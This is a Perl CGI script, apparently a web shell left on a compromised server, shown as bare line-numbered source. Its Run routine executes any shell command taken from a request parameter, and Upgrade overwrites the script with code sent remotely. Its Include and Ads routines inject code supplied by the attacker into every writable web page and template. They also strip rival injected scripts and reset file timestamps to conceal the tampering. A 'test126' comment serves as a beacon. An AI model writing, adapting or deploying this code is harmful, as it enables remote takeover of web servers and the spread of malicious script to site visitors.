1. #!/usr/bin/perl
  2. use File::stat;
  3. use File::Copy;
  4. use File::Find;
  5. use CGI;
  6. use CGI::Carp qw(warningsToBrowser fatalsToBrowser);
  7.  
  8. sub ReadParse
  9. {
  10.     local (*in) = @_ if @_;
  11.     local ($i, $loc, $key, $val);
  12.  
  13.     if($ENV{'REQUEST_METHOD'} eq "GET")
  14.     {
  15.         $in = $ENV{'QUERY_STRING'};
  16.     }
  17.     elsif($ENV{'REQUEST_METHOD'} eq "POST")
  18.     {
  19.         read(STDIN, $in, $ENV{'CONTENT_LENGTH'});
  20.     }
  21.      
  22.     @in = split(/&/, $in);
  23.     foreach $i (0 .. $#in)
  24.     {
  25.         $in[$i] =~ s/\+/ /g;
  26.         ($key, $val) = split(/=/, $in[$i], 2);
  27.         $key =~ s/%(..)/pack("c", hex($1))/ge;
  28.         $val =~ s/%(..)/pack("c", hex($1))/ge;
  29.         $in{$key} .= "\0" if (defined($in{$key}));
  30.         $in{$key} .= $val;
  31.     }
  32. }
  33.  
  34. sub PrintPageHeader
  35. {
  36.     print "Content-type: text/html\n\n";
  37. }
  38.  
  39. sub ExecuteCommand
  40. {
  41.     print "<html><body>";
  42.     if ($in{'update1'})
  43.     {
  44.         open (FILE, './data') or die "No data file";
  45.         while (<FILE>)
  46.         {
  47.             chomp;
  48.             if ($_ ne '') {$filepath = $_;}
  49.         }
  50.         close (FILE);
  51.         if ($in{'getfiles'}) {Include ($filepath,$in{'update1'},1);}
  52.         else { Include ($filepath,$in{'update1'},0);}
  53.     }
  54.     if ($in{'add1'})
  55.     {
  56.         open (FILE, './data') or die "No data file";
  57.         while (<FILE>)
  58.         {
  59.             chomp;
  60.             if ($_ ne '') {$filepath = $_;}
  61.         }
  62.         close (FILE);
  63.         if ($in{'getfiles'}) {Ads ($filepath,$in{'add1'},1);}
  64.         else { Ads ($filepath,$in{'add1'},0);}
  65.     }
  66.     Upgrade ($in{'update2'}) if ($in{'update2'});
  67.     Run ($in{'update3'}) if ($in{'update3'});
  68.     $string = "621tset";
  69.     $reversed = reverse $string;
  70.     print "<!--$reversed-->";
  71.     #print "<!--".getpwuid($<)."-->";
  72.     print "</font></body></html>";
  73. }
  74.  
  75. sub Include ($$$)
  76. {
  77.     my $file = $_[0];
  78.     my $code = $_[1];
  79.     my $getfiles = $_[2];
  80.     my @filepath;
  81.     if (length($code) > 1)
  82.     {
  83.         $code = "<b1>".$code."</b1>";
  84.     }
  85.    
  86.     if ($getfiles == 1)
  87.     {
  88.         my $pos = rindex($file, "/");
  89.         my $dir = substr($file, 0, $pos);
  90.        
  91.         File::Find::find(
  92.         sub {
  93.             if (-f && -w) {
  94.                 if (/\.ph.*$/ || /\.htm.*$/ || /\.shtm.*$/ || /\.asp.*$/ || /\.jsp$/ || /\.jhtm$/ || /\.cfm$/ || /\.ctp$/ || /\.tpl$/)
  95.                 {
  96.                 push (@filepath,$File::Find::name);
  97.                 return;
  98.                 }
  99.             }
  100.             },
  101.             $dir
  102.         );
  103.     }
  104.     else { push (@filepath,$file);}
  105.    
  106.     foreach my $file(@filepath)
  107.     {
  108.         if ( -e $file && -w $file)
  109.         {
  110.             my $inj = 0;
  111.             my $trusted = 0;
  112.            
  113.             if($file =~ m/\.htm/i) { $trusted = 1;}
  114.            
  115.             $info = stat($file);
  116.             $d_atime = $info->atime;
  117.             $d_mtime = $info->mtime;
  118.             $d_size = $info->size;
  119.            
  120.             open (FILE, $file);
  121.             sysread (FILE, $index_code, $d_size);
  122.             close (FILE);
  123.            
  124.             $index_code =~ s/(<bb1>.*<bb2>)//gis;
  125.             $index_code =~ s/(<b1>.*<\/b1>)//gis;
  126.             $index_code =~ s/(<script.*>.*String.fromCharCode.*<\/script>)//gis;
  127.             $index_code =~ s/(<font style=.*overflow.*hidden.*>.*<\/script>)//gis;
  128.                
  129.             if ($index_code =~ m/<\/body>/i)
  130.             {
  131.                 $index_code =~ s/<\/body>/$code<\/body>/i;
  132.                 $inj = 1;
  133.             }
  134.             elsif ($index_code =~ m/<\/html>/i)
  135.             {
  136.                 $index_code =~ s/<\/html>/$code<\/body><\/html>/i;
  137.                 $inj = 1;
  138.             }
  139.            
  140.             if ($trusted == 1 && $inj == 0)
  141.             {
  142.                 $index_code = $index_code.$code."</body></html>";
  143.                 $inj = 1;
  144.             }
  145.            
  146.             if ($inj == 1 && $file !~ m/file\.php/i)
  147.             {
  148.                 open (TMP, ">$file");
  149.                 print TMP $index_code;
  150.                 close (TMP);
  151.                
  152.                 utime $d_atime, $d_mtime, $file;
  153.                 print "<pre>update $file</pre>";
  154.             }
  155.             #else { print "<!--no body in $file-->";}
  156.         }
  157.         else
  158.         {
  159.             print "<pre>no file $file</pre>";
  160.         }
  161.     }
  162. }
  163.  
  164. sub Ads ($$$)
  165. {
  166.     my $file = $_[0];
  167.     my $code = $_[1];
  168.     my $getfiles = $_[2];
  169.     my @filepath;
  170.     if (length($code) > 1)
  171.     {
  172.         $code = "<ad>".$code."</ad>";
  173.     }
  174.    
  175.     if ($getfiles == 1)
  176.     {
  177.         my $pos = rindex($file, "/");
  178.         my $dir = substr($file, 0, $pos);
  179.        
  180.         File::Find::find(
  181.         sub {
  182.             if (-f && -w) {
  183.                 if (/\.ph.*$/ || /\.htm.*$/ || /\.shtm.*$/ || /\.asp.*$/ || /\.jsp$/ || /\.jhtm$/ || /\.cfm$/ || /\.ctp$/ || /\.tpl$/)
  184.                 {
  185.                 push (@filepath,$File::Find::name);
  186.                 return;
  187.                 }
  188.             }
  189.             },
  190.             $dir
  191.         );
  192.     }
  193.     else { push (@filepath,$file);}
  194.    
  195.     foreach my $file(@filepath)
  196.     {
  197.         if ( -e $file && -w $file)
  198.         {
  199.             my $inj = 0;
  200.            
  201.             $info = stat($file);
  202.             $d_atime = $info->atime;
  203.             $d_mtime = $info->mtime;
  204.             $d_size = $info->size;
  205.            
  206.             open (FILE, $file);
  207.             sysread (FILE, $index_code, $d_size);
  208.             close (FILE);
  209.            
  210.             $index_code =~ s/(<ad>.*<\/ad>)//gim;
  211.             $index_code =~ s/(<script.*>.*String.fromCharCode.*<\/script>)//gis;
  212.             $index_code =~ s/(<font style=.*overflow.*hidden.*>.*<\/script>)//gis;
  213.                
  214.             if ($index_code =~ m/<body.*>/i)
  215.             {
  216.                 $index_code =~ s/(<body.*>)/$1$code/i;
  217.                 $inj = 1;
  218.             }
  219.             else
  220.             {
  221.                 $index_code = $code.$index_code;
  222.                 $inj = 1;
  223.             }
  224.            
  225.             if ($trusted == 1 && $inj == 0)
  226.             {
  227.                 $index_code = $index_code.$code."</body></html>";
  228.                 $inj = 1;
  229.             }
  230.            
  231.             if ($inj == 1 && $file !~ m/file\.php/i)
  232.             {
  233.                 open (TMP, ">$file");
  234.                 print TMP $index_code;
  235.                 close (TMP);
  236.                
  237.                 utime $d_atime, $d_mtime, $file;
  238.                 print "<pre>update $file</pre>";
  239.             }
  240.             #else { print "<!--no body in $file-->";}
  241.         }
  242.         else
  243.         {
  244.             print "<pre>no file $file</pre>";
  245.         }
  246.     }
  247. }
  248.  
  249. sub Upgrade ($)
  250. {
  251.     my $code = $_[0];
  252.    
  253.     if (move("./test.cgi", "./test_old.cgi"))
  254.     {
  255.         open (TMP, ">./test1.cgi");
  256.         print TMP $code;
  257.         close (TMP);
  258.         system("tr -d '\15\32' < test1.cgi > test.cgi");
  259.         $mode = 0755;   chmod $mode, './test.cgi';
  260.         unlink('test1.cgi');
  261.         print "<pre>upgrade</pre>";
  262.     }
  263.     else
  264.     {
  265.         print "<pre>no</pre>";
  266.     }
  267. }
  268.  
  269. sub Run ($)
  270. {
  271.     my $cmd = $_[0];
  272.     print "<pre>";
  273.     system($cmd);
  274.     print "</pre>";
  275. }
  276.  
  277. &ReadParse;
  278. &PrintPageHeader;
  279. &ExecuteCommand;